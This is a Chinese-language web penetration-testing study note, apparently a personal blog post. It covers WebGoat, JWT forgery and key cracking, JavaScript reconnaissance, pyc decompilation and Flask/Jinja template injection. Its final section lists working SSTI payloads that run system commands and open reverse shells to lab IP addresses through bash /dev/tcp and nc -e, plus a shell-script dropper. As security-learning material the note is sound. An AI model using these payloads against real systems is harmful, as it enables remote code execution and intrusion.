# JavaWeb

# 部署 webgoat

  • 环境下载并 webgoat 启用环境
1
2
3
4
5
6
7
# webgoat 下载地址
https://github.com/WebGoat/WebGoat
/usr/libexec/java_home -v 19 --exec java -jar webgoat-server-8.2.2.jar --server.address=192.168.0.102 --server.port=9091

# 打开url并注册新用户
http://127.0.0.1:9091/WebGoat/login
http://192.168.0.102:9091/WebGoat/start.mvc#lesson/PathTraversal.lesson/

注意如果是本地回环地址无法抓取到数据包,需要切换成本地 ip 地址

# jar 文件反编译

拿到 jar 文件,先用 unzip 进行解压,用 IDEA 工具将其打开;
对照数据包,定位 url 如 / WebGoat/PathTraversal/profile-upload-remove-user-input;
在 java 源码中定位到 PathTraversal 的库文件,并右键加载为库后可查到源代码;
在 PathTraversal 中查看 ProfileUploadRemoveUserInput 方法看起功能,对照 html 界面查看传参规则及限制进行绕过。

# jwt 使用及攻击

  • jwt 说明
    jwt 是用来判断当前的用户是游客、注册用户还是管理员的,写在 cookie 部分,由三部分组成,分别为 header 加密算法、payload 内容,signature 签名组成,中间由小数点隔开,可在 https://jwt.io 上看这个 jwt 的具体内容是什么。
1
2
3
4
5
# jwt 例子
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NjU0NTczMzIsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.CsmBkpcCp8WXKrbN4QZ-qDRUA0n1O-f0YUwIFHyVVvZyuUNay3zlTrkQrd-oVyG5YMUMDckXvsXRbjZS378Vcw

# 详细可参考
https://www.cnblogs.com/vege/p/14468030.html
  • jwt 攻击

(1)签名没验证空加密
可寻找相关脚本尝试空加密,但是这种概率非常小;

(2)爆破密匙:
如果能够获取到源码拿到加密算法中的加密密匙,可以寻找相关脚本进行破解密钥,由密匙和高级管理用户重新生成 jwt 来跳过身份验证;
jwt 密钥爆破工具链接:https://github.com/brendan-rius/c-jwt-cracker

(3)KID 利用:
kid 参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者可以读取到系统的任意文件的

# javaweb 其他漏洞

(1)目录遍历:有的目录做了限制只能解析 jpg/png 文件,但是在上传文件时跳过了这个限制,将文件上传到了其他目录,而其他目录也有可能是可以解析脚本语言的。

(2)认证绕过:将用户上传的数据与数据库比对,如果用户上传的两个键值在数据库中不存在即 a=null&b=null,则可以伪造两个数据库不存在的 key 值进行认证绕过。

(3)组件漏洞:java 的组件有很多,如 log 4 j、xstream 等 jar 包存在安全漏洞的话,则可以通过寻找相关漏洞版本的 poc 尝试漏洞利用。

(4)其他中高危:不安全的反序列化、XML 外部实体、访问控制(隐藏属性、越权)。

# javaScript

# js 渗透知识

(1)什么是 js 渗透
在 Javascript 中也存在变量和函数,当存在可控变量及函数调用即可参数漏 洞 JS 开发的 WEB 应用和 PHP,JAVA,NET 等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实的点。所以相当于 JS 开发的 WEB 应用属于 白盒测试 (默认有源码参考)。

(2)如何判定 JS 开发应用
插件 wappalyzer、源代码简短、引入多个 js 文件、一般有 /static/js/app.js 等顺序的 js 文件、cookie 中有 connect.sid。

(3)如何利用 js 代码
寻找接口,手机号码登录,验证码接收等文件,验证对方逻辑、或逻辑考 虑不全面的地方;如根据返回的验证码是 200 判断验证码有效,则可以测试修改返回包中的验证码返回值是否能绕过,如有一个重置手机号密码的 url 地址,可以直接访问测试是否有认证限制;也可以寻找框架漏洞测试如 node.js/vue.js, 框架漏洞较少。

# js 文件获取

(1)如何获取更多的 JS 文件?
JsFinder、Packer-Fuzzer、扫描器后缀替换字典

(2)如何快速获取价值代码?

1
2
3
4
5
# 快速获取有价值的js代码
method:"get"、http.get("
method:"post"、http.post("
$.ajax
service.httppost、service.httpget

(3)js 安全漏洞
前端验证修改返回数据包、URL 地址泄漏、未授权访问、框架漏洞

# python

# pyc 文件反编译

  • PY 反编译 PYC 编译文件反编译源码
    pyc 文件是 py 文件编译后生成的字节码文件 (byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java 的.class 文件,一般 py 文件改变后,都会重新生成 pyc 文件。
1
2
3
4
5
6
# pyc反编译平台:
https://tool.lu/pyc/

# pyc反编译工具:
https://github.com/wibiti/uncompyle
https://github.com/rocky/python-uncompyle

# SSTI 模板注入

(1)什么是 SSTI? 有什么漏洞危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作 为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执 行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执 行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

(2)如何判断检测 SSTI 漏洞的存在?
输入的数据会被浏览器利用当前脚本语言调用解析执行

(3)SSTI 安全问题在生产环境那里产生?存在模版引用的地方,
如 404 错误页面展示
存在数据接收引用的地方,如模版解析获取参数数据
一般需要获取到源码之后再去分析漏洞产生的地方,黑盒测试比较难发现

# SSTI 利用代码

漏洞详情:https://blog.csdn.net/houyanhua1/article/details/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 利用代码分析
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #'{% set config=None%}{% set self=None%}'+s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)
  • url_for () 函数是用于构建操作指定函数的 URL, url_fo 会返回视图函数对应的 URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入
    /shrine/{{url_for.__globals__}}
    /shrine/{{url_for.__globals__['current_app'].config}}

  • get_flashed_messages () 函数是获取传递过来的数据,返回之前在 Flask 中通过 flash () 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages () 方法取出 (闪现信息只能取出一次,取出后闪现信息会被清空)。
    /shrine/{{get_flashed_messages.__globals__}}
    /shrine/{{get_flashed_messages.__globals__['current_app'].config}}

# SSTI 反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 常用来确定是否存在SSTI漏洞的payload:
http://192.168.31.60:9999/?name={{2*2}}

# py一句话引入os调用系统命令执行id
http://192.168.31.60:9999/?name={%%20import%20os%20%}{{os.system(%27id% 27)}}

# py一句话引入os.popen的方式调用系统命令:
http://192.168.31.17:5000/sh4d0w\$s?l333tt={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20-la%27).read()%20}}

# py通过os.system调用bash反弹shell:
http://192.168.31.60:9999/?name= {% import os %}{{os.system('bash -c "bash -i >&/dev/tcp/192.168.31.135/4446 >&1"')}}

# py通过os.popen的方式调用nc反弹shell:
http://192.168.31.17:5000/sh4d0w\$s?{{%20config.__class__.__init__.__globals__[%27os%7].popen(%27nc%20192.168.31.99%204444%20-e%20/bin/bash%27).read()%20}}

# py反弹shell失败时可尝试用urlencode编码绕过:
http://www.jsons.cn/urlencode
http://192.168.31.11:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.135%2F4444%200%3E%261%2%27)%7D%7D

# 如果能在服务器中写文件,可写入文件,用py调用此文件执行后反弹shell:
echo -e "#! /bin/bash\nbash -c 'bash -i >& /dev/tcp/192.168.31.83/4444 0>&1'" > /tmp/shell.sh http://127.0.0.1:8787/?name={{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cd%20/tmp/;bash%20shell.sh%27).read()}}
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝